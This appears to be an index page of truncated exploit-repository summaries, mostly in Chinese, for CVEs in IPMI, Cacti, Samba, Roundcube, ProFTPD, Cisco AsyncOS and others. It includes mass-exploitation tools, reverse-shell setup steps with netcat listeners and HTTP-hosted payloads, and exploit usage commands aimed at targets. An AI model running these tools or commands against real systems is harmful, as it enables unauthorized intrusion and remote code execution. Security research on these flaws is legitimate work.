ipmitest

ipmitest 用于测试IPMI密码类型零认证绕过漏洞（CVE-2013-4784）的Shell脚本 IPMI是一种标准化的计算机系统接口，系统管理员用来对计算机系统进行带外管理和监控其运行。它通过使用网络连接至硬件而非操作系统或登录shell来管理可能已关机或无响应的计算机。 该漏洞允许远程攻击者通过使用密码套件0（即零密码）和任意密码来绕过认证并执行任意IPMI命令。 用法： bash ipmitest.sh target 示例： alexos@cypher:$ bash ipmitest.sh 192.168.0.1 IPMITest - 0.2 作者：Alexandro Sil...

CVE-2018-16167

安装及执行顺序 0. 安装LogonTracer 从DockerHub下载存在漏洞的LogonTracer v1.2.0版本。 $docker pull jpcertcc/docker-logontracer:v1.2.0 1. 运行LogonTracer 使用以下命令启动容器： $docker run \ --detach \ --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \ -e LTHOSTNAME=IPADDR \ jpcertcc/docker-logontracer:v1.2.0 2...

CVE-2022-46169

CVE-2022-46169 概念验证脚本 这是一个针对 CVE-2022-46169 漏洞的概念验证（POC）脚本，该漏洞影响 Cacti 版本 1.2.22。 描述 CVE-2022-46169 漏洞允许在 Cacti 版本（直至 1.2.22）中实现未经身份验证的命令注入，进而作为 www-data 用户实现未经身份验证的远程代码执行。该漏洞是由于 remoteagent.php 文件中 hostid 参数的用户输入验证不当所致。 使用方法 python CVE-2022-46169.py --url --ip --port 将 替换为目标 Cacti 安装的 URL，将...

CVE-2017-7494

CVE-2017-7494 CVE-2017-7494 C poc 利用CVE-2017-7494反弹shell 1.首先编译sambainit.c，生成libsamba.so 2.修改isknownpipename.c中的相关地址，编译执行...

CVE-LiteLLM

cve-id ⚡ 简单使用 请仅在安全且授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经过授权的渗透测试环境 示例设置： git clone cd 项目使用 Python，请按以下步骤操作 创建虚拟环境 python -m venv venv 激活虚拟环境 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate 安装依赖 pip install -r requirements.txt 示例用法： 帮助 python...

CVE-2025-24893-POC

CVE-2025-24893 安装 bun： curl -fsSL https://bun.com/install | bash 安装依赖： bun install 运行： bun run CVE-2025-24893.ts 本项目是使用 bun v1.2.19 的 bun init 创建的。Bun 是一个快速的一体化 JavaScript 运行时。 使用方法： Usage: bun CVE-2025-24893.ts options Options: -u, --url The target URL to interact with. -i, --ip The IP address f...

CVE-2026-4885

CVE-2026-4885 – Piotnet Addons for Elementor Pro 批量利用工具 未经验证的文件上传导致 Piotnet Addons for Elementor Pro ≤ 7.1.70 中的远程代码执行（RCE）。 该工具专为 批量利用 设计——提供一个目标列表，它会自动： 检测插件版本（如果找到资源文件则假定存在漏洞） 执行高级侦察，提取 postid、formid 和正确的上传字段名称 尝试多种 PHP 扩展名（.phtml、.php3、.php4、.phps、.pht、.php2）以绕过弱过滤器 上传一个 带有 GIF89a 头部的 PHP She...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 认证远程代码执行 ⚠️ 免责声明 本仓库仅供教育和研究目的使用。 所有演示均在受控实验室环境中进行。 未经明确许可对系统进行未经授权的测试或利用是非法且不道德的。作者不对任何滥用此信息的行为负责。 📌 什么是 Roundcube？ Roundcube 是一款广泛使用的、基于浏览器的 IMAP 电子邮件客户端，使用 PHP 编写。它提供了用户友好的网页邮件访问界面，通常被托管服务商、学术机构以及企业内部邮件服务器所部署。 🚨 关于漏洞 CVE-2025-49113 是一个影响 Roundcube 1.6.10 版本...

cisco-CVE-2023-20075

关于 安全研究员: ly1g3, ly1g3attuta.io GPG 指纹: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 概述: 本地权限提升与 Shell 逃逸 CVE: CVE-2023-20075 时间线: 发现 - ly1g3 报告 - ly1g3 修复 - Cisco Cisco AsyncOS 14.2.0 ESA Cisco Secure Email 权限提升 - cli 到 root shell 拥有 cli 访问权限的已认证用户可以提升权...

cisco-CVE-2023-20009

关于 安全研究员：ly1g3，ly1g3attuta.io GPG 指纹：https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 概述：远程代码执行 - RCE from config file（由配置文件触发的远程代码执行） CVE：CVE-2023-20008 时间线： 发现 - ly1g3 上报 - ly1g3 修复 - Cisco Cisco AsyncOS 14.2.0 ESA（Cisco Secure Email）与 Cisco Secure Email a...

CVE-2026-5426

CVE-2026-5426 ⚡ 简单使用 请仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 已授权的渗透测试环境 示例设置： git clone cd 示例用法： 测试单个目标是否存在漏洞 python cve-2026-5426.py -t https://example.com 从文件扫描多个目标 python cve-2026-5426.py -t targets.txt 在存在漏洞的目标上执行命令 python cve-2026-5426.py -t https://example.com -c "whoami" 执行复杂命令...

EUVD-2026-88812

The scriptPath parameter is incorporated into a /bin/sh -c command without sufficient neutralization of shell metacharacters, allowing shell command substitution and execution. An authenticated user can exploit this behavior by creating a resource whose filename contains shell command substitutio...

CVE-2026-82804 Apache DolphinScheduler: Command Injection in the Alert Script Plugin

The scriptPath parameter is incorporated into a /bin/sh -c command without sufficient neutralization of shell metacharacters, allowing shell command substitution and execution. An authenticated user can exploit this behavior by creating a resource whose filename contains shell command substitutio...

CVE-2026-41651

CVE-2026-41651 CVSS 3.x : 7.8 HIGH CWE : CWE-367 Time-of-Check Time-of-Use Fix : PackageKit 1.3.5+ Affects : PackageKit 1.0.2 – 1.3.4 通过 PackageKit 的 D-Bus 事务处理器中的 TOCTOU 竞态条件实现本地提权。 任何无特权的本地用户都可以以 root 身份安装任意软件包——除了拥有本地会话外，无需任何身份验证。 仅限实验室 / 授权测试 （HTB、CTF、或具有书面授权的渗透测试）。 使用方法 python3 exploit.py...

xll_windows_reverse_shell

xllwindowsreverseshell xll Windows 反向 Shell 在你的攻击者（Kali）机器上： git clone https://github.com/n3rdh4x0r/xllwindowsreverseshell.git 1. 更新 revsh.ps1 2. 创建 Python HTTP 服务器 python3 -m http.server 9999 在你的攻击者（Windows）机器上： 1. 将 notpadXLL.c 移动到你的 Windows 攻击者机器上，并相应地更新 notpadXLL.c。 2. 打开 x64 Native Tools...

CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 - 远程缓冲区溢出，为 PNPT 课程重写为 python3 版本。 原作者：KAhara MAnhara 重写者：Giuseppe Aloisi（python3 版本） Achat 0.150 beta7 - 缓冲区溢出 已在 Windows 7 32 位系统上测试 https://www.exploit-db.com/exploits/36025 给脚本几秒钟时间，它会给你一个反向 shell... 在代码中运行 msfvenom 命令 msfvenom -a x86 --platform Windows...

CVE-2021-21425-RCE

这是我自己的版本，我在网上找到了很多，但那些都很糟糕。 用法 python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 等待.. 60秒后你将在监听器上获得shell。...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit 如何使用 1. 创建一个 PHP 反向 shell 2. 启动服务器以在同一目录中托管 shell python3 -m http.server 3. 启动 netcat 监听器在本地选择的端口，例如：nc -nlvp port of choice 4. 运行以下提供的漏洞利用示例 python3 modifiedCVE20153306.py --host remote host --port most likely port 21 --path /var/www or /var/www/html --shell name o...

CVE-2015-3306

CVE-2015-3306 ProFTPD 漏洞利用 该仓库包含针对 CVE-2015-3306 的 Python 概念验证（PoC）漏洞利用代码。 ⚠️ 警告： 仅可对您拥有或已获得明确测试许可的系统使用。未经授权的利用属于违法行为。 作者 Mohamed EL-KHAROUATI 第 1 部分：CVE-2015-3306 ProFTPD 漏洞利用 描述 CVE-2015-3306 是 ProFTPD 1.3.5b 及更早版本中的一个目录遍历漏洞。该漏洞利用工具允许复制任意文件，并将 PHP 后门放入 Web 根目录。该后门可执行任意 shell 命令。 功能 通过 SITE...

CVE-2026-91097-CVE-2026-91106

🔬 Únete a Telegram para las últimas investigaciones de vulnerabilidades y lanzamientos de exploits HPLIP Printer Application — Toma de control administrativa sin autenticación Herramienta de explotación masiva dirigida a la HPLIP Printer Application interfaz web basada en PAPPL en todas las...